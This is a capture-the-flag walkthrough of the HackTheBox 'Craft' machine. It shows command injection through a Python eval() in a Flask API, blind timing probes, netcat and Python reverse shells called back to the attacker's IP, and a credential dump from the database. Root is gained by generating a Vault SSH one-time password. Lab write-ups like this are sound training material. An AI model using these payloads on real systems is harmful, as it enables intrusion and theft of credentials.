HackTheBox - Craft
Craft was very interesting and well designed box. It was a not so straight forward to solve and mainly based on configuration mistakes rather than exploits. That makes it more interesting in my opinion since we get closer to real life scenarios. I also learned a few tricks on this one.
Tl;Dr: The user flag was accessible after finding the main API credentials in the Git history of the project. With access to the code source and the API itself, we find a vulnerability allowing Remote Code Execution. This RCE leads to a shell inside of a Docker. From this shell we access the API config files containing database connection settings allowing us to extract users credentials stored there. The credentials let us access to gilfoyle repositories where one contains his SSH key backup. Using this SSH key we connect to his account and grab the user flag.
The root flag was accessible after using Vault instance configured on the box to generate a One Time Password for the SSH root account. We connect through SSH using this password and get the flag.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the host file:
1 | [hg8@archbook ~]$ echo "10.10.10.110 craft.htb" >> /etc/hosts |
and let’s start!
User Flag
Recon
Let’s start with the classic nmap scan to see which ports are open on the box:
1 | [hg8@archbook ~]$ nmap -sV -sT -sC craft.htb |
We have a classical web app running on port 443 and the ssh port 22 open.
Opening http://craft.htb display the following website :

The website is super simple but give us two valuable information:
- A
gogsinstance is running (gogsis a self-hosted Git service written in Go) athttps://gogs.craft.htb/ - An API is running and its documentation available at
https://api.craft.htb/api/
We need to add those two in our /etc/hosts/ file to be able to access it :
1 | [hg8@archbook ~]$ echo "10.10.10.110 gogs.craft.htb" >> /etc/hosts |
Following this, https://gogs.craft.htb displays:

and https://api.craft.htb displays:

We have the source code and the documentation of the API. That will surely be our entry point.
Out of curiosity I checked for exploit on Gogs and found CVE-2018-18925 and CVE-2018-20303:
Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a “..” session-file forgery in the file session provider in file.go.
https://nvd.nist.gov/vuln/detail/CVE-2018-18925
In pkg/tool/path.go in Gogs before 0.11.82.1218, a directory traversal in the file-upload functionality can allow an attacker to create a file under data/sessions on the server.
https://nvd.nist.gov/vuln/detail/CVE-2018-20303
An exploit is also available (GogsOwnz) and allows to gain administrator rights and RCE on a Gogs/Gitea server.
Unfortunately the footer of https://gogs.craft.htb shows that the version used is not a vulnerable one :
© 2018 Gogs Version: 0.11.86.0130
This confirms that our entry point will probably be the api. Let’s investigate.
We have access to the source code it will greatly help our investigation. The API is written in Python using the Flask framework.
Let’s clone it to check the code more easily :
1 | [hg8@archbook ~]$ GIT_SSL_NO_VERIFY=true git clone https://gogs.craft.htb/Craft/craft-api.git |
Remote code execution on API
The first thing I do when doing static code analysis is checking if dangerous functions are used and can be exploited for command injection. It’s the easiest way to land a shell on a box.
If this search don’t give any results I will move on to SQL injection and so on.
The most common way command injection vulnerability get introduced in Python is by the use of eval() function which is used to run the Python code (passed as argument) within the program.
A quick grep will tell us if such function is used within the API:
1 | [hg8@archbook ~]$ grep -ri "eval" craft-api |
We are lucky, and just by the look of the line it seems like no sanitization is done and the abv request parameter is directly run through eval().
Reading through the code of brew.py confirm the suspicion:
1 |
|
Any Python code sent in the request abv parameter will get interpreted.
Unfortunately @auth.auth_required inform us that we will first need a way to authenticate ourselves before being able to use this vulnerable endpoint.
After reading the documentation and the source code, it doesn’t seem there is any way to create a new account or use an already made token to authenticate to the API. We need to find another way to authenticate.
Since we have access to the git repository, we can try to exploit common flaw found in git/svn repositories. The most common issue is developers accidentally push API keys, token or password to the repository.
There is a few good tools like truffleHog or git-secrets that allows to automatically retrieve secrets and credentials accidentally committed.
Since there is only 6 commits in history we can manually review them to make sure we don’t forget anything.
At commit a2d28ed155 we find an interesting cleanup:

Let’s try to use those credentials to authenticate to the API:
1 | [hg8@archbook ~]$ curl "https://api.craft.htb/api/auth/login" -k --user dinesh:4aUh0A8PbVJxgd |
We are authenticated! Note here that this API doesn’t use the usual Authorization: Bearer <token> header but a custom header in the format X-Craft-Api-Token: <token>. It can be easy to overlook this one, that’s why taking time to read the code and understanding the inner workings of the app is important.
1 | # craft_api/api/auth/endpoints/auth.py |
We have now all the needed information to perform our command injection :)
Since we need to authenticate and perform multiple queries on the /brew endpoint it’s better to write a script instead of having to do a thousand of curl request.
No need to start from scratch since craft-api/tests/test.py already provide a solid base. I tweaked it a little to end up with this script:
1 | #!/usr/bin/env python |
Since eval() will run any python code we will use this lambda function __import__("os").popen("CMD").read() to run an OS command from the python code.
I added an input('> ') so we simply have to type our command to run it on the API. Shell style.
Unfortunately we don’t have any output available, so how are we going to know that our command executed successfully ?
With time-based injection ;)
We are going to inject a sleep 3 command at each run:
- If the API hang for 3 seconds, it means our command got executed successfully
- If the API respond immediately, the injection failed.
Using the requests library elapsed.total_seconds() function, we can display the time elapsed for the request to success.
I add it to the script so we can easily see if the sleep 5 injection worked fine.
1 | [...] |
Let’s it give a try:
1 | [hg8@archbook ~]$ python test.py |
Looks like it works fine ! Let’s tweak our script a bit to be more comfortable to use:
1 | - brew_dict['abv'] = '__import__("os").popen("{}").read()'.format(cmd) |
The usage of && sleep 3 means that the sleep command will only get executed if the first command succeeded. This technique will allow us to blindly learn about the box environment.
Here is an example to illustrate:
1 | [hg8@archbook ~]$ python test.py |
Since wget --help command took 3 seconds to execute this means that the command ran fine. While curl --help failed, the sleep 3 didn’t start meaning curl is not probably not installed.
This little trick will allow us to have a valuable feedback to know if our command succeed or fail.
Let’s try to open our classic reverse shell. Start with our listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
And launch our test script on the API:
1 | [hg8@archbook ~]$ python test.py |
Oddly enough this is not working, whereas nc seems to be installed. That’s strange but let’s move on to a different type of reverse shell. Since we know for sure that Python is installed let’s use a Python reverse shell.
To make things easier let’s launch a small http server to host our python reverse shell file:
1 | [hg8@archbook ~]$ cat hg8.py |
And back to our original terminal let’s launch our injection:
1 | [hg8@archbook ~]$ python test.py |
And surely enough a connection open on our netcat listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
Note: Now that we are on the box we can investigate on why our original netcat command wasn’t working. Turn out the netcat version shipped in this box in a Busybox version. The manual state:
1 | /opt/app # nc |
In this version -e option must be last. So if we ran nc 10.10.10.85 8585 -e /bin/sh instead of nc -e /bin/sh 10.10.10.85 8585 the command would have succeeded perfectly. I tried and it worked. Odd but good to keep in mind for the future.
Pivot from docker container to user
Now back to our topic. We got our shell on the API. Unfortunately as you noticed with the id command, it seems like we are in a docker container. We probably won’t go far from here.
Our best bet might be to retrieve the API secrets to see if we can progress from here.
1 | /opt/app/craft_api # cat settings.py |
We got the database credentials. Let’s try to dump it for juicy informations:
1 | /opt/app # mysql |
Of course, in this jail no mysql available either… Earlier I noticed a database test script. We will edit and use this python script since nothing else is available.
First, let’s list the tables :
1 | #!/usr/bin/env python |
Running this script will return two tables: brew and users.
Let’s list the users by editing the dbtest.py script :
1 | - sql = "SELECT table_name FROM information_schema.tables;" |
1 | /opt/app # python dbtest.py |
Good, a few users with plain-text passwords. Unfortunately none works on SSH…
So what remains? Let’s go back to the Gogs instance. Login as gilfoyle gives us access to a very interesting private repository:

Let’s clone it to explore:
1 | [hg8@archbook ~]$ GIT_SSL_NO_VERIFY=true git clone https://gilfoyle:ZEU3N8WNM2rh4T@gogs.craft.htb/gilfoyle/craft-infra.git |
First thing that catches the eye is the .ssh folder containing both the public and private key. We should be able to use to login as gilfoyle through SSH:
1 | [hg8@archbook ~]$ chmod 600 .ssh/id_rsa |
A passphrase is needed for the id_rsa key, fortunately we have a case of password reuse and the password ZEU3N8WNM2rh4T found in the database dump is valid.
1 | gilfoyle@craft:~$ cat user.txt |
Root Flag
Recon
On user gilfoyle nothing particularly catch the eye and the box seems well configured.
Upon more enumeration we still notice an uncommon ssh configuration :
1 | gilfoyle@craft:~$ cat /etc/ssh/sshd_config |
It looks like our entry door for root flag will be through SSH.
Inspecting files in the home directory also shows a token that might be useful:
1 | gilfoyle@craft:~$ ls -a |
We notice this is about Vault again, we saw it already mentioned in the craft-infra repository. Let’s dig that way.
I didn’t know anything about Vault at the time so I checked their website :
Vault is a tool for secrets management, encryption as a service, and privileged access management.
https://www.vaultproject.io/
That sounds really interesting for what we need…
Exploiting Vault for SSH root password
If we put all the puzzle pieces together it seems like this tool is storing either the root account SSH password or a way to access the root account.
The file craft-infra/src/master/vault/secrets.sh on the craft-infra repository looks promising :
1 |
|
It confirms that Vault is used for ssh access to root. key_type=otp seems to mean that it’s working as a one-time password mechanism.
After a bit of Googling we find this documentation on Vault:
The One-Time SSH Password (OTP) SSH secrets engine type allows a Vault server to issue a One-Time Password every time a client wants to SSH into a remote host using a helper command on the remote host to perform verification.
https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords.html
Alright, we have all the needed information. Let’s generate a One-Time Password for the root account!
From here I will follow the documentation linked above. First we need to mount the secrets engine:
1 | gilfoyle@craft:~$ vault secrets enable ssh |
Then we create a role with the key_type parameter set to otp. I will use the same command than the one in craft-infra/src/master/vault/secrets.sh to make sure we are not missing anything:
1 | gilfoyle@craft:~$ vault write ssh/roles/root_otp \ |
Last step we create an OTP credential for an IP of the remote host that belongs to otp_key_role:
1 | gilfoyle@craft:~$ vault write ssh/creds/root_otp ip=10.10.10.110 |
Seems like everything went fine. Let’s launch a new terminal and try to login as root :
1 | [hg8@archbook ~]$ ssh root@craft.htb |
This box was really a fun time and my favorite so far. As always do not hesitate to contact me for any questions or feedback.
See you next time !
-hg8